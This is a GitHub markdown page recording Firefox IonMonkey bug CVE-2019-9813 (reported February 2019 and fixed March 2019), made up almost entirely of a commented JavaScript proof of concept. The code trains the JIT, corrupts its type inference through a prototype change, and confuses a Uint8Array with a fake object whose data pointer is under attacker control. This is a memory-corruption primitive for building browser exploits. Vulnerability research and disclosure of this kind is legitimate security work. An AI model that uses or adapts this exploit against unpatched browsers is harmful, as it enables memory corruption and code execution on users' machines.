Skip to content

Latest commit

 

History

History
100 lines (82 loc) · 3.87 KB

CVE-2019-9813.md

File metadata and controls

100 lines (82 loc) · 3.87 KB

CVE-2019-9813

  • Report: Feb 2019
  • Fix: Mar 2019
  • Credit: Samuel Gross, Google Project Zero

PoC

let ab = new ArrayBuffer(1024);

function hax(o, changeProto) {
    // The argument type for |o| will be object of group OG1 or OG2. OG1 will
    // have the inferred types {.p: [Y]}. OG2 on the other hand will be an
    // ObjectGroup with unknown property types due to the prototype change. As
    // such, OG2 will never have any inferred property types.

    // Ultimately, this code will confuse types X and Y with each other.
    // Type X: a Uint8Array
    let x = new Uint8Array(1024);
    // Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :)
    let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};

    if (changeProto) {
        o.p = x;

        // This prototype change will cause a new ObjectGroup, OG_N, to be
        // allocated for o every time it is executed (because the prototype is
        // stored in the ObjectGroup). During creation of the new ObjectGroup,
        // the current property values will be used to infer property types. As
        // such, OG_N will have the inferred types {.p: [X]}.
        o.__proto__ = {};
    }

    // This property write was not marked as requiring type barriers to
    // validate the consistency of inferred property types. The reason is that
    // for OG1, the property type is already correct and OG2 does not track
    // property types at all. However, IonMonkey failed to realize that the
    // ObjectGroup of o could have changed in between to a new ObjectGroup that
    // has different inferred property types. As such, the type barrier
    // omission here is unsafe.
    //
    // In the second invocation, the inline cache for this property store will
    // then be a hit (because the IC only uses the Shape to index the cache,
    // not the Group). As such, the inferred types associated with the
    // ObjectGroup for o will not be updated and will be left inconsistent.
    o.p = y;

    return o;
}

function pwn(o, trigger) {
    if (trigger) {
        // Is on a code path that wasn't executed in the interpreter so that
        // IonMonkey solely relies on type inference instead of type profiles
        // from the interpreter (which would show the real type).
        return o.p[0];
    } else {
        return 42;
    }
}

// "Teach" the function hax that it should accept objects with ObjectGroup OG1.
// This is required as IonMonkey needs to have at least one "known" type when
// determining whether it can omit type barriers for property writes:
// https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282
for (let i = 0; i < 10000; i++) {
    hax({}, false);
}

// Compile hax to trigger the bug in such a way that an object will be created
// whose ObjectGroup indicates type X for property .p but whose real type will
// be Y, where both X and Y can be arbitrarily chosen.
let evilObj;
for (let i = 0; i < 10000; i++) {
    evilObj = hax({}, true);

    // Not sure why this is required here, it maybe prevents JITing of the main
    // script or similar...
    eval('evilObj.p');
}

// JIT compile the second function and make it rely on the (incorrect) type
// inference data to omit runtime type checks.
for (let i = 0; i < 100000; i++) {
    pwn(evilObj, false);
}

// Finally trigger a type confusion.
pwn(evilObj, true);

Reference